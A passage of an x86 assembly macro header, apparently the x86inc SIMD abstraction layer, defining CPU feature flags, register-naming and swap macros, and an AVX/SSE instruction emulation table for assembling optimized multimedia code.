; This is needed for ELF, otherwise the GNU linker assumes the stack is executable by default.
%if FORMAT_ELF
[SECTION .note.GNU-stack noalloc noexec nowrite progbits]
%endif
; Tell debuggers how large the function was.
; This may be invoked multiple times per function; we rely on later instances overriding earlier ones.
; This is invoked by RET and similar macros, and also cglobal does it for the previous function,
; but if the last function in a source file doesn't use any of the standard macros for its epilogue,
; then its size might be unspecified.
%macro annotate_function_size 0
%ifdef __YASM_VER__
%ifdef current_function
%if FORMAT_ELF
current_function_section
%%ecf equ $
size current_function %%ecf - current_function
__SECT__
%endif
%endif
%endif
%endmacro
; cpuflags
%assign cpuflags_mmx (1<<0)
%assign cpuflags_mmx2 (1<<1) | cpuflags_mmx
%assign cpuflags_3dnow (1<<2) | cpuflags_mmx
%assign cpuflags_3dnowext (1<<3) | cpuflags_3dnow
%assign cpuflags_sse (1<<4) | cpuflags_mmx2
%assign cpuflags_sse2 (1<<5) | cpuflags_sse
%assign cpuflags_sse2slow (1<<6) | cpuflags_sse2
%assign cpuflags_lzcnt (1<<7) | cpuflags_sse2
%assign cpuflags_sse3 (1<<8) | cpuflags_sse2
%assign cpuflags_ssse3 (1<<9) | cpuflags_sse3
%assign cpuflags_sse4 (1<<10)| cpuflags_ssse3
%assign cpuflags_sse42 (1<<11)| cpuflags_sse4
%assign cpuflags_aesni (1<<12)| cpuflags_sse42
%assign cpuflags_gfni (1<<13)| cpuflags_sse42
%assign cpuflags_avx (1<<14)| cpuflags_sse42
%assign cpuflags_xop (1<<15)| cpuflags_avx
%assign cpuflags_fma4 (1<<16)| cpuflags_avx
%assign cpuflags_fma3 (1<<17)| cpuflags_avx
%assign cpuflags_bmi1 (1<<18)| cpuflags_avx|cpuflags_lzcnt
%assign cpuflags_bmi2 (1<<19)| cpuflags_bmi1
%assign cpuflags_avx2 (1<<20)| cpuflags_fma3|cpuflags_bmi2
%assign cpuflags_avx512 (1<<21)| cpuflags_avx2 ; F, CD, BW, DQ, VL
%assign cpuflags_cache32 (1<<22)
%assign cpuflags_cache64 (1<<23)
%assign cpuflags_aligned (1<<24) ; not a cpu feature, but a function variant
%assign cpuflags_atom (1<<25)
; Returns a boolean value expressing whether or not the specified cpuflag is enabled.
%define cpuflag(x) (((((cpuflags & (cpuflags_ %+ x)) ^ (cpuflags_ %+ x)) - 1) >> 31) & 1)
%define notcpuflag(x) (cpuflag(x) ^ 1)
; Takes an arbitrary number of cpuflags from the above list.
; All subsequent functions (up to the next INIT_CPUFLAGS) is built for the specified cpu.
; You shouldn't need to invoke this macro directly, it's a subroutine for INIT_MMX &co.
%macro INIT_CPUFLAGS 0-*
%xdefine SUFFIX
%undef cpuname
%assign cpuflags 0
%if %0 >= 1
%rep %0
%ifdef cpuname
%xdefine cpuname cpuname %+ _%1
%else
%xdefine cpuname %1
%endif
%assign cpuflags cpuflags | cpuflags_%1
%rotate 1
%endrep
%xdefine SUFFIX _ %+ cpuname
%if cpuflag(avx)
%assign avx_enabled 1
%endif
%if (mmsize == 16 && notcpuflag(sse2)) || (mmsize == 32 && notcpuflag(avx2))
%define mova movaps
%define movu movups
%define movnta movntps
%endif
%if cpuflag(aligned)
%define movu mova
%elif cpuflag(sse3) && notcpuflag(ssse3)
%define movu lddqu
%endif
%endif
%if ARCH_X86_64 || cpuflag(sse2)
%ifdef __NASM_VER__
ALIGNMODE p6
%else
CPU amdnop
%endif
%else
%ifdef __NASM_VER__
ALIGNMODE nop
%else
CPU basicnop
%endif
%endif
%endmacro
; Merge mmx, sse*, and avx*
; m# is a simd register of the currently selected size
; xm# is the corresponding xmm register if mmsize >= 16, otherwise the same as m#
; ym# is the corresponding ymm register if mmsize >= 32, otherwise the same as m#
; zm# is the corresponding zmm register if mmsize >= 64, otherwise the same as m#
; (All 4 remain in sync through SWAP.)
%macro CAT_XDEFINE 3
%xdefine %1%2 %3
%endmacro
%macro CAT_UNDEF 2
%undef %1%2
%endmacro
%macro DEFINE_MMREGS 1 ; mmtype
%assign %%prev_mmregs 0
%ifdef num_mmregs
%assign %%prev_mmregs num_mmregs
%endif
%assign num_mmregs 8
%if ARCH_X86_64 && mmsize >= 16
%assign num_mmregs 16
%if cpuflag(avx512) || mmsize == 64
%assign num_mmregs 32
%endif
%endif
%assign %%i 0
%rep num_mmregs
CAT_XDEFINE m, %%i, %1 %+ %%i
CAT_XDEFINE nn%1, %%i, %%i
%assign %%i %%i+1
%endrep
%if %%prev_mmregs > num_mmregs
%rep %%prev_mmregs - num_mmregs
CAT_UNDEF m, %%i
CAT_UNDEF nn %+ mmtype, %%i
%assign %%i %%i+1
%endrep
%endif
%xdefine mmtype %1
%endmacro
; Prefer registers 16-31 over 0-15 to avoid having to use vzeroupper
%macro AVX512_MM_PERMUTATION 0-1 0 ; start_reg
%if ARCH_X86_64 && cpuflag(avx512)
%assign %%i %1
%rep 16-%1
%assign %%i_high %%i+16
SWAP %%i, %%i_high
%assign %%i %%i+1
%endrep
%endif
%endmacro
%macro INIT_MMX 0-1+
%assign avx_enabled 0
%define RESET_MM_PERMUTATION INIT_MMX %1
%define mmsize 8
%define mova movq
%define movu movq
%define movh movd
%define movnta movntq
INIT_CPUFLAGS %1
DEFINE_MMREGS mm
%endmacro
%macro INIT_XMM 0-1+
%assign avx_enabled 0
%define RESET_MM_PERMUTATION INIT_XMM %1
%define mmsize 16
%define mova movdqa
%define movu movdqu
%define movh movq
%define movnta movntdq
INIT_CPUFLAGS %1
DEFINE_MMREGS xmm
%if WIN64
AVX512_MM_PERMUTATION 6 ; Swap callee-saved registers with volatile registers
%endif
%endmacro
%macro INIT_YMM 0-1+
%assign avx_enabled 1
%define RESET_MM_PERMUTATION INIT_YMM %1
%define mmsize 32
%define mova movdqa
%define movu movdqu
%undef movh
%define movnta movntdq
INIT_CPUFLAGS %1
DEFINE_MMREGS ymm
AVX512_MM_PERMUTATION
%endmacro
%macro INIT_ZMM 0-1+
%assign avx_enabled 1
%define RESET_MM_PERMUTATION INIT_ZMM %1
%define mmsize 64
%define mova movdqa
%define movu movdqu
%undef movh
%define movnta movntdq
INIT_CPUFLAGS %1
DEFINE_MMREGS zmm
AVX512_MM_PERMUTATION
%endmacro
INIT_XMM
%macro DECLARE_MMCAST 1
%define mmmm%1 mm%1
%define mmxmm%1 mm%1
%define mmymm%1 mm%1
%define mmzmm%1 mm%1
%define xmmmm%1 mm%1
%define xmmxmm%1 xmm%1
%define xmmymm%1 xmm%1
%define xmmzmm%1 xmm%1
%define ymmmm%1 mm%1
%define ymmxmm%1 xmm%1
%define ymmymm%1 ymm%1
%define ymmzmm%1 ymm%1
%define zmmmm%1 mm%1
%define zmmxmm%1 xmm%1
%define zmmymm%1 ymm%1
%define zmmzmm%1 zmm%1
%define xm%1 xmm %+ m%1
%define ym%1 ymm %+ m%1
%define zm%1 zmm %+ m%1
%endmacro
%assign i 0
%rep 32
DECLARE_MMCAST i
%assign i i+1
%endrep
; I often want to use macros that permute their arguments. e.g. there's no
; efficient way to implement butterfly or transpose or dct without swapping some
; arguments.
;
; I would like to not have to manually keep track of the permutations:
; If I insert a permutation in the middle of a function, it should automatically
; change everything that follows. For more complex macros I may also have multiple
; implementations, e.g. the SSE2 and SSSE3 versions may have different permutations.
;
; Hence these macros. Insert a PERMUTE or some SWAPs at the end of a macro that
; permutes its arguments. It's equivalent to exchanging the contents of the
; registers, except that this way you exchange the register names instead, so it
; doesn't cost any cycles.
%macro PERMUTE 2-* ; takes a list of pairs to swap
%rep %0/2
%xdefine %%tmp%2 m%2
%rotate 2
%endrep
%rep %0/2
%xdefine m%1 %%tmp%2
CAT_XDEFINE nn, m%1, %1
%rotate 2
%endrep
%endmacro
%macro SWAP 2+ ; swaps a single chain (sometimes more concise than pairs)
%ifnum %1 ; SWAP 0, 1, ...
SWAP_INTERNAL_NUM %1, %2
%else ; SWAP m0, m1, ...
SWAP_INTERNAL_NAME %1, %2
%endif
%endmacro
%macro SWAP_INTERNAL_NUM 2-*
%rep %0-1
%xdefine %%tmp m%1
%xdefine m%1 m%2
%xdefine m%2 %%tmp
CAT_XDEFINE nn, m%1, %1
CAT_XDEFINE nn, m%2, %2
%rotate 1
%endrep
%endmacro
%macro SWAP_INTERNAL_NAME 2-*
%xdefine %%args nn %+ %1
%rep %0-1
%xdefine %%args %%args, nn %+ %2
%rotate 1
%endrep
SWAP_INTERNAL_NUM %%args
%endmacro
; If SAVE_MM_PERMUTATION is placed at the end of a function, then any later
; calls to that function will automatically load the permutation, so values can
; be returned in mmregs.
%macro SAVE_MM_PERMUTATION 0-1
%if %0
%xdefine %%f %1_m
%else
%xdefine %%f current_function %+ _m
%endif
%assign %%i 0
%rep num_mmregs
%xdefine %%tmp m %+ %%i
CAT_XDEFINE %%f, %%i, regnumof %+ %%tmp
%assign %%i %%i+1
%endrep
%endmacro
%macro LOAD_MM_PERMUTATION 0-1 ; name to load from
%if %0
%xdefine %%f %1_m
%else
%xdefine %%f current_function %+ _m
%endif
%xdefine %%tmp %%f %+ 0
%ifnum %%tmp
RESET_MM_PERMUTATION
AVX512_MM_PERMUTATION
%assign %%i 0
%rep num_mmregs
%xdefine %%tmp %%f %+ %%i
CAT_XDEFINE %%m, %%i, m %+ %%tmp
%assign %%i %%i+1
%endrep
%rep num_mmregs
%assign %%i %%i-1
CAT_XDEFINE m, %%i, %%m %+ %%i
CAT_XDEFINE nn, m %+ %%i, %%i
%endrep
%endif
%endmacro
; Append cpuflags to the callee's name iff the appended name is known and the plain name isn't
%macro call 1
%ifid %1
call_internal %1 %+ SUFFIX, %1
%else
call %1
%endif
%endmacro
%macro call_internal 2
%xdefine %%i %2
%ifndef cglobaled_%2
%ifdef cglobaled_%1
%xdefine %%i %1
%endif
%endif
call %%i
LOAD_MM_PERMUTATION %%i
%endmacro
; Substitutions that reduce instruction size but are functionally equivalent
%macro add 2
%ifnum %2
%if %2==128
sub %1, -128
%else
add %1, %2
%endif
%else
add %1, %2
%endif
%endmacro
%macro sub 2
%ifnum %2
%if %2==128
add %1, -128
%else
sub %1, %2
%endif
%else
sub %1, %2
%endif
%endmacro
;=============================================================================
; AVX abstraction layer
;=============================================================================
%assign i 0
%rep 32
%if i < 8
CAT_XDEFINE sizeofmm, i, 8
CAT_XDEFINE regnumofmm, i, i
%endif
CAT_XDEFINE sizeofxmm, i, 16
CAT_XDEFINE sizeofymm, i, 32
CAT_XDEFINE sizeofzmm, i, 64
CAT_XDEFINE regnumofxmm, i, i
CAT_XDEFINE regnumofymm, i, i
CAT_XDEFINE regnumofzmm, i, i
%assign i i+1
%endrep
%undef i
%macro CHECK_AVX_INSTR_EMU 3-*
%xdefine %%opcode %1
%xdefine %%dst %2
%rep %0-2
%ifidn %%dst, %3
%error non-avx emulation of ``%%opcode'' is not supported
%endif
%rotate 1
%endrep
%endmacro
;%1 == instruction
;%2 == minimal instruction set
;%3 == 1 if float, 0 if int
;%4 == 1 if 4-operand emulation, 0 if 3-operand emulation, 255 otherwise (no emulation)
;%5 == 1 if commutative (i.e. doesn't matter which src arg is which), 0 if not
;%6+: operands
%macro RUN_AVX_INSTR 6-9+
%ifnum sizeof%7
%assign __sizeofreg sizeof%7
%elifnum sizeof%6
%assign __sizeofreg sizeof%6
%else
%assign __sizeofreg mmsize
%endif
%assign __emulate_avx 0
%if avx_enabled && __sizeofreg >= 16
%xdefine __instr v%1
%else
%xdefine __instr %1
%if %0 >= 8+%4
%assign __emulate_avx 1
%endif
%endif
%ifnidn %2, fnord
%ifdef cpuname
%if notcpuflag(%2)
%error use of ``%1'' %2 instruction in cpuname function: current_function
%elif %3 == 0 && __sizeofreg == 16 && notcpuflag(sse2)
%error use of ``%1'' sse2 instruction in cpuname function: current_function
%elif %3 == 0 && __sizeofreg == 32 && notcpuflag(avx2)
%error use of ``%1'' avx2 instruction in cpuname function: current_function
%elifidn %1, pextrw ; special case because the base instruction is mmx2,
%ifnid %6 ; but sse4 is required for memory operands
%if notcpuflag(sse4)
%error use of ``%1'' sse4 instruction in cpuname function: current_function
%endif
%endif
%endif
%endif
%endif
%if __emulate_avx
%xdefine __src1 %7
%xdefine __src2 %8
%if %5 && %4 == 0
%ifnidn %6, %7
%ifidn %6, %8
%xdefine __src1 %8
%xdefine __src2 %7
%elifnnum sizeof%8
; 3-operand AVX instructions with a memory arg can only have it in src2,
; whereas SSE emulation prefers to have it in src1 (i.e. the mov).
; So, if the instruction is commutative with a memory arg, swap them.
%xdefine __src1 %8
%xdefine __src2 %7
%endif
%endif
%endif
%ifnidn %6, __src1
%if %0 >= 9
CHECK_AVX_INSTR_EMU {%1 %6, %7, %8, %9}, %6, __src2, %9
%else
CHECK_AVX_INSTR_EMU {%1 %6, %7, %8}, %6, __src2
%endif
%if __sizeofreg == 8
MOVQ %6, __src1
%elif %3
MOVAPS %6, __src1
%else
MOVDQA %6, __src1
%endif
%endif
%if %0 >= 9
%1 %6, __src2, %9
%else
%1 %6, __src2
%endif
%elif %0 >= 9
__instr %6, %7, %8, %9
%elif %0 == 8
%if avx_enabled && %5
%xdefine __src1 %7
%xdefine __src2 %8
%ifnum regnumof%7
%ifnum regnumof%8
%if regnumof%7 < 8 && regnumof%8 >= 8 && regnumof%8 < 16 && sizeof%8 <= 32
; Most VEX-encoded instructions require an additional byte to encode when
; src2 is a high register (e.g. m8..15). If the instruction is commutative
; we can swap src1 and src2 when doing so reduces the instruction length.
%xdefine __src1 %8
%xdefine __src2 %7
%endif
%endif
%endif
__instr %6, __src1, __src2
%else
__instr %6, %7, %8
%endif
%elif %0 == 7
%if avx_enabled && %5
%xdefine __src1 %6
%xdefine __src2 %7
%ifnum regnumof%6
%ifnum regnumof%7
%if regnumof%6 < 8 && regnumof%7 >= 8 && regnumof%7 < 16 && sizeof%7 <= 32
%xdefine __src1 %7
%xdefine __src2 %6
%endif
%endif
%endif
__instr %6, __src1, __src2
%else
__instr %6, %7
%endif
%else
__instr %6
%endif
%endmacro
;%1 == instruction
;%2 == minimal instruction set
;%3 == 1 if float, 0 if int
;%4 == 1 if 4-operand emulation, 0 if 3-operand emulation, 255 otherwise (no emulation)
;%5 == 1 if commutative (i.e. doesn't matter which src arg is which), 0 if not
%macro AVX_INSTR 1-5 fnord, 0, 255, 0
%macro %1 1-10 fnord, fnord, fnord, fnord, %1, %2, %3, %4, %5
%ifidn %2, fnord
RUN_AVX_INSTR %6, %7, %8, %9, %10, %1
%elifidn %3, fnord
RUN_AVX_INSTR %6, %7, %8, %9, %10, %1, %2
%elifidn %4, fnord
RUN_AVX_INSTR %6, %7, %8, %9, %10, %1, %2, %3
%elifidn %5, fnord
RUN_AVX_INSTR %6, %7, %8, %9, %10, %1, %2, %3, %4
%else
RUN_AVX_INSTR %6, %7, %8, %9, %10, %1, %2, %3, %4, %5
%endif
%endmacro
%endmacro
; Instructions with both VEX/EVEX and legacy encodings
; Non-destructive instructions are written without parameters
AVX_INSTR addpd, sse2, 1, 0, 1
AVX_INSTR addps, sse, 1, 0, 1
AVX_INSTR addsd, sse2, 1, 0, 0
AVX_INSTR addss, sse, 1, 0, 0
AVX_INSTR addsubpd, sse3, 1, 0, 0
AVX_INSTR addsubps, sse3, 1, 0, 0
AVX_INSTR aesdec, aesni, 0, 0, 0
AVX_INSTR aesdeclast, aesni, 0, 0, 0
AVX_INSTR aesenc, aesni, 0, 0, 0
AVX_INSTR aesenclast, aesni, 0, 0, 0
AVX_INSTR aesimc, aesni
AVX_INSTR aeskeygenassist, aesni
AVX_INSTR andnpd, sse2, 1, 0, 0
AVX_INSTR andnps, sse, 1, 0, 0
AVX_INSTR andpd, sse2, 1, 0, 1
AVX_INSTR andps, sse, 1, 0, 1
AVX_INSTR blendpd, sse4, 1, 1, 0
AVX_INSTR blendps, sse4, 1, 1, 0
AVX_INSTR blendvpd, sse4 ; can't be emulated
AVX_INSTR blendvps, sse4 ; can't be emulated
AVX_INSTR cmpeqpd, sse2, 1, 0, 1
AVX_INSTR cmpeqps, sse, 1, 0, 1
AVX_INSTR cmpeqsd, sse2, 1, 0, 0
AVX_INSTR cmpeqss, sse, 1, 0, 0
AVX_INSTR cmplepd, sse2, 1, 0, 0
AVX_INSTR cmpleps, sse, 1, 0, 0
AVX_INSTR cmplesd, sse2, 1, 0, 0
AVX_INSTR cmpless, sse, 1, 0, 0
AVX_INSTR cmpltpd, sse2, 1, 0, 0
AVX_INSTR cmpltps, sse, 1, 0, 0
AVX_INSTR cmpltsd, sse2, 1, 0, 0
AVX_INSTR cmpltss, sse, 1, 0, 0
AVX_INSTR cmpneqpd, sse2, 1, 0, 1
AVX_INSTR cmpneqps, sse, 1, 0, 1
AVX_INSTR cmpneqsd, sse2, 1, 0, 0
AVX_INSTR cmpneqss, sse, 1, 0, 0
AVX_INSTR cmpnlepd, sse2, 1, 0, 0
AVX_INSTR cmpnleps, sse, 1, 0, 0
AVX_INSTR cmpnlesd, sse2, 1, 0, 0
AVX_INSTR cmpnless, sse, 1, 0, 0
AVX_INSTR cmpnltpd, sse2, 1, 0, 0
AVX_INSTR cmpnltps, sse, 1, 0, 0
AVX_INSTR cmpnltsd, sse2, 1, 0, 0
AVX_INSTR cmpnltss, sse, 1, 0, 0
AVX_INSTR cmpordpd, sse2 1, 0, 1
AVX_INSTR cmpordps, sse 1, 0, 1
AVX_INSTR cmpordsd, sse2 1, 0, 0
AVX_INSTR cmpordss, sse 1, 0, 0
AVX_INSTR cmppd, sse2, 1, 1, 0
AVX_INSTR cmpps, sse, 1, 1, 0
AVX_INSTR cmpsd, sse2, 1, 1, 0
AVX_INSTR cmpss, sse, 1, 1, 0
AVX_INSTR cmpunordpd, sse2, 1, 0, 1
AVX_INSTR cmpunordps, sse, 1, 0, 1
AVX_INSTR cmpunordsd, sse2, 1, 0, 0
AVX_INSTR cmpunordss, sse, 1, 0, 0
AVX_INSTR comisd, sse2, 1
AVX_INSTR comiss, sse, 1
AVX_INSTR cvtdq2pd, sse2, 1
AVX_INSTR cvtdq2ps, sse2, 1
AVX_INSTR cvtpd2dq, sse2, 1
AVX_INSTR cvtpd2ps, sse2, 1
AVX_INSTR cvtps2dq, sse2, 1
AVX_INSTR cvtps2pd, sse2, 1
AVX_INSTR cvtsd2si, sse2, 1
AVX_INSTR cvtsd2ss, sse2, 1, 0, 0
AVX_INSTR cvtsi2sd, sse2, 1, 0, 0
AVX_INSTR cvtsi2ss, sse, 1, 0, 0
AVX_INSTR cvtss2sd, sse2, 1, 0, 0
AVX_INSTR cvtss2si, sse, 1
AVX_INSTR cvttpd2dq, sse2, 1
AVX_INSTR cvttps2dq, sse2, 1
AVX_INSTR cvttsd2si, sse2, 1
AVX_INSTR cvttss2si, sse, 1
AVX_INSTR divpd, sse2, 1, 0, 0
AVX_INSTR divps, sse, 1, 0, 0
AVX_INSTR divsd, sse2, 1, 0, 0
AVX_INSTR divss, sse, 1, 0, 0
AVX_INSTR dppd, sse4, 1, 1, 0
AVX_INSTR dpps, sse4, 1, 1, 0
AVX_INSTR extractps, sse4, 1
AVX_INSTR gf2p8affineinvqb, gfni, 0, 1, 0
AVX_INSTR gf2p8affineqb, gfni, 0, 1, 0
AVX_INSTR gf2p8mulb, gfni, 0, 0, 0
AVX_INSTR haddpd, sse3, 1, 0, 0
AVX_INSTR haddps, sse3, 1, 0, 0
AVX_INSTR hsubpd, sse3, 1, 0, 0
AVX_INSTR hsubps, sse3, 1, 0, 0
AVX_INSTR insertps, sse4, 1, 1, 0
AVX_INSTR lddqu, sse3
AVX_INSTR ldmxcsr, sse, 1
AVX_INSTR maskmovdqu, sse2
AVX_INSTR maxpd, sse2, 1, 0, 1
AVX_INSTR maxps, sse, 1, 0, 1
AVX_INSTR maxsd, sse2, 1, 0, 0
AVX_INSTR maxss, sse, 1, 0, 0
AVX_INSTR minpd, sse2, 1, 0, 1
AVX_INSTR minps, sse, 1, 0, 1
AVX_INSTR minsd, sse2, 1, 0, 0
AVX_INSTR minss, sse, 1, 0, 0
AVX_INSTR movapd, sse2, 1
AVX_INSTR movaps, sse, 1
AVX_INSTR movd, mmx
AVX_INSTR movddup, sse3, 1
AVX_INSTR movdqa, sse2
AVX_INSTR movdqu, sse2
AVX_INSTR movhlps, sse, 1, 0, 0
AVX_INSTR movhpd, sse2, 1, 0, 0
AVX_INSTR movhps, sse, 1, 0, 0
AVX_INSTR movlhps, sse, 1, 0, 0
AVX_INSTR movlpd, sse2, 1, 0, 0
AVX_INSTR movlps, sse, 1, 0, 0
AVX_INSTR movmskpd, sse2, 1
AVX_INSTR movmskps, sse, 1
AVX_INSTR movntdq, sse2
AVX_INSTR movntdqa, sse4
AVX_INSTR movntpd, sse2, 1
AVX_INSTR movntps, sse, 1
AVX_INSTR movq, mmx
AVX_INSTR movsd, sse2, 1, 0, 0
AVX_INSTR movshdup, sse3, 1
AVX_INSTR movsldup, sse3, 1
AVX_INSTR movss, sse, 1, 0, 0
AVX_INSTR movupd, sse2, 1
AVX_INSTR movups, sse, 1
AVX_INSTR mpsadbw, sse4, 0, 1, 0
AVX_INSTR mulpd, sse2, 1, 0, 1
AVX_INSTR mulps, sse, 1, 0, 1
AVX_INSTR mulsd, sse2, 1, 0, 0
AVX_INSTR mulss, sse, 1, 0, 0
AVX_INSTR orpd, sse2, 1, 0, 1
AVX_INSTR orps, sse, 1, 0, 1
AVX_INSTR pabsb, ssse3
AVX_INSTR pabsd, ssse3
AVX_INSTR pabsw, ssse3
AVX_INSTR packsswb, mmx, 0, 0, 0
AVX_INSTR packssdw, mmx, 0, 0, 0
AVX_INSTR packuswb, mmx, 0, 0, 0
AVX_INSTR packusdw, sse4, 0, 0, 0
AVX_INSTR paddb, mmx, 0, 0, 1
AVX_INSTR paddw, mmx, 0, 0, 1
AVX_INSTR paddd, mmx, 0, 0, 1
AVX_INSTR paddq, sse2, 0, 0, 1
AVX_INSTR paddsb, mmx, 0, 0, 1
AVX_INSTR paddsw, mmx, 0, 0, 1
AVX_INSTR paddusb, mmx, 0, 0, 1
AVX_INSTR paddusw, mmx, 0, 0, 1
AVX_INSTR palignr, ssse3, 0, 1, 0
AVX_INSTR pand, mmx, 0, 0, 1
AVX_INSTR pandn, mmx, 0, 0, 0
AVX_INSTR pavgb, mmx2, 0, 0, 1
AVX_INSTR pavgw, mmx2, 0, 0, 1
AVX_INSTR pblendvb, sse4 ; can't be emulated
AVX_INSTR pblendw, sse4, 0, 1, 0
AVX_INSTR pclmulqdq, fnord, 0, 1, 0
AVX_INSTR pclmulhqhqdq, fnord, 0, 0, 0
AVX_INSTR pclmulhqlqdq, fnord, 0, 0, 0
AVX_INSTR pclmullqhqdq, fnord, 0, 0, 0
AVX_INSTR pclmullqlqdq, fnord, 0, 0, 0
AVX_INSTR pcmpestri, sse42
AVX_INSTR pcmpestrm, sse42
AVX_INSTR pcmpistri, sse42
AVX_INSTR pcmpistrm, sse42
AVX_INSTR pcmpeqb, mmx, 0, 0, 1
AVX_INSTR pcmpeqw, mmx, 0, 0, 1
AVX_INSTR pcmpeqd, mmx, 0, 0, 1
AVX_INSTR pcmpeqq, sse4, 0, 0, 1
AVX_INSTR pcmpgtb, mmx, 0, 0, 0
AVX_INSTR pcmpgtw, mmx, 0, 0, 0
AVX_INSTR pcmpgtd, mmx, 0, 0, 0
AVX_INSTR pcmpgtq, sse42, 0, 0, 0
AVX_INSTR pextrb, sse4
AVX_INSTR pextrd, sse4
AVX_INSTR pextrq, sse4
AVX_INSTR pextrw, mmx2
AVX_INSTR phaddw, ssse3, 0, 0, 0
AVX_INSTR phaddd, ssse3, 0, 0, 0
AVX_INSTR phaddsw, ssse3, 0, 0, 0
AVX_INSTR phminposuw, sse4
AVX_INSTR phsubw, ssse3, 0, 0, 0
AVX_INSTR phsubd, ssse3, 0, 0, 0
AVX_INSTR phsubsw, ssse3, 0, 0, 0
AVX_INSTR pinsrb, sse4, 0, 1, 0
AVX_INSTR pinsrd, sse4, 0, 1, 0
AVX_INSTR pinsrq, sse4, 0, 1, 0
AVX_INSTR pinsrw, mmx2, 0, 1, 0
AVX_INSTR pmaddwd, mmx, 0, 0, 1
AVX_INSTR pmaddubsw, ssse3, 0, 0, 0
AVX_INSTR pmaxsb, sse4, 0, 0, 1
AVX_INSTR pmaxsw, mmx2, 0, 0, 1
AVX_INSTR pmaxsd, sse4, 0, 0, 1
AVX_INSTR pmaxub, mmx2, 0, 0, 1
AVX_INSTR pmaxuw, sse4, 0, 0, 1
AVX_INSTR pmaxud, sse4, 0, 0, 1
AVX_INSTR pminsb, sse4, 0, 0, 1
AVX_INSTR pminsw, mmx2, 0, 0, 1
AVX_INSTR pminsd, sse4, 0, 0, 1
AVX_INSTR pminub, mmx2, 0, 0, 1
AVX_INSTR pminuw, sse4, 0, 0, 1
AVX_INSTR pminud, sse4, 0, 0, 1
AVX_INSTR pmovmskb, mmx2
AVX_INSTR pmovsxbw, sse4
AVX_INSTR pmovsxbd, sse4
AVX_INSTR pmovsxbq, sse4
AVX_INSTR pmovsxwd, sse4
AVX_INSTR pmovsxwq, sse4
AVX_INSTR pmovsxdq, sse4
AVX_INSTR pmovzxbw, sse4
AVX_INSTR pmovzxbd, sse4
AVX_INSTR pmovzxbq, sse4
AVX_INSTR pmovzxwd, sse4
AVX_INSTR pmovzxwq, sse4
AVX_INSTR pmovzxdq, sse4
AVX_INSTR pmuldq, sse4, 0, 0, 1
AVX_INSTR pmulhrsw, ssse3, 0, 0, 1
AVX_INSTR pmulhuw, mmx2, 0, 0, 1
AVX_INSTR pmulhw, mmx, 0, 0, 1
AVX_INSTR pmullw, mmx, 0, 0, 1
AVX_INSTR pmulld, sse4, 0, 0, 1
AVX_INSTR pmuludq, sse2, 0, 0, 1
AVX_INSTR por, mmx, 0, 0, 1
AVX_INSTR psadbw, mmx2, 0, 0, 1
AVX_INSTR pshufb, ssse3, 0, 0, 0
AVX_INSTR pshufd, sse2
AVX_INSTR pshufhw, sse2
AVX_INSTR pshuflw, sse2
AVX_INSTR psignb, ssse3, 0, 0, 0
AVX_INSTR psignw, ssse3, 0, 0, 0
AVX_INSTR psignd, ssse3, 0, 0, 0
AVX_INSTR psllw, mmx, 0, 0, 0
AVX_INSTR pslld, mmx, 0, 0, 0
AVX_INSTR psllq, mmx, 0, 0, 0
AVX_INSTR pslldq, sse2, 0, 0, 0
AVX_INSTR psraw, mmx, 0, 0, 0
AVX_INSTR psrad, mmx, 0, 0, 0
AVX_INSTR psrlw, mmx, 0, 0, 0
AVX_INSTR psrld, mmx, 0, 0, 0
AVX_INSTR psrlq, mmx, 0, 0, 0
AVX_INSTR psrldq, sse2, 0, 0, 0
AVX_INSTR psubb, mmx, 0, 0, 0
AVX_INSTR psubw, mmx, 0, 0, 0
AVX_INSTR psubd, mmx, 0, 0, 0
AVX_INSTR psubq, sse2, 0, 0, 0
AVX_INSTR psubsb, mmx, 0, 0, 0
AVX_INSTR psubsw, mmx, 0, 0, 0
AVX_INSTR psubusb, mmx, 0, 0, 0
AVX_INSTR psubusw, mmx, 0, 0, 0
AVX_INSTR ptest, sse4
AVX_INSTR punpckhbw, mmx, 0, 0, 0
AVX_INSTR punpckhwd, mmx, 0, 0, 0
AVX_INSTR punpckhdq, mmx, 0, 0, 0
AVX_INSTR punpckhqdq, sse2, 0, 0, 0
AVX_INSTR punpcklbw, mmx, 0, 0, 0
AVX_INSTR punpcklwd, mmx, 0, 0, 0
AVX_INSTR punpckldq, mmx, 0, 0, 0
AVX_INSTR punpcklqdq, sse2, 0, 0, 0
AVX_INSTR pxor, mmx, 0, 0, 1
AVX_INSTR rcpps, sse, 1
AVX_INSTR rcpss, sse, 1, 0, 0
AVX_INSTR roundpd, sse4, 1
AVX_INSTR roundps, sse4, 1
AVX_INSTR roundsd, sse4, 1, 1, 0
AVX_INSTR roundss, sse4, 1, 1, 0
AVX_INSTR rsqrtps, sse, 1
AVX_INSTR rsqrtss, sse, 1, 0, 0
AVX_INSTR shufpd, sse2, 1, 1, 0
AVX_INSTR shufps, sse, 1, 1, 0
AVX_INSTR sqrtpd, sse2, 1
AVX_INSTR sqrtps, sse, 1
AVX_INSTR sqrtsd, sse2, 1, 0, 0
AVX_INSTR sqrtss, sse, 1, 0, 0
AVX_INSTR stmxcsr, sse, 1
AVX_INSTR subpd, sse2, 1, 0, 0
AVX_INSTR subps, sse, 1, 0, 0
AVX_INSTR subsd, sse2, 1, 0, 0
AVX_INSTR subss, sse, 1, 0, 0
AVX_INSTR ucomisd, sse2, 1
AVX_INSTR ucomiss, sse, 1
AVX_INSTR unpckhpd, sse2, 1, 0, 0
AVX_INSTR unpckhps, sse, 1, 0, 0
AVX_INSTR unpcklpd, sse2, 1, 0, 0
AVX_INSTR unpcklps, sse, 1, 0, 0
AVX_INSTR xorpd, sse2, 1, 0, 1
AVX_INSTR xorps, sse, 1, 0, 1
; 3DNow instructions, for sharing code between AVX, SSE and 3DN
AVX_INSTR pfadd, 3dnow, 1, 0, 1
AVX_INSTR pfsub, 3dnow, 1, 0, 0
AVX_INSTR pfmul, 3dnow, 1, 0, 1
;%1 == instruction
;%2 == minimal instruction set
%macro GPR_INSTR 2
%macro %1 2-5 fnord, %1, %2
%ifdef cpuname
%if notcpuflag(%5)
%error use of ``%4'' %5 instruction in cpuname function: current_function
%endif
%endif
%ifidn %3, fnord
%4 %1, %2
%else
%4 %1, %2, %3
%endif
%endmacro
%endmacro
GPR_INSTR andn, bmi1
GPR_INSTR bextr, bmi1
GPR_INSTR blsi, bmi1
GPR_INSTR blsmsk, bmi1
GPR_INSTR bzhi, bmi2
GPR_INSTR mulx, bmi2
GPR_INSTR pdep, bmi2
GPR_INSTR pext, bmi2
GPR_INSTR popcnt, sse42
GPR_INSTR rorx, bmi2
GPR_INSTR sarx, bmi2
GPR_INSTR shlx, bmi2
GPR_INSTR shrx, bmi2
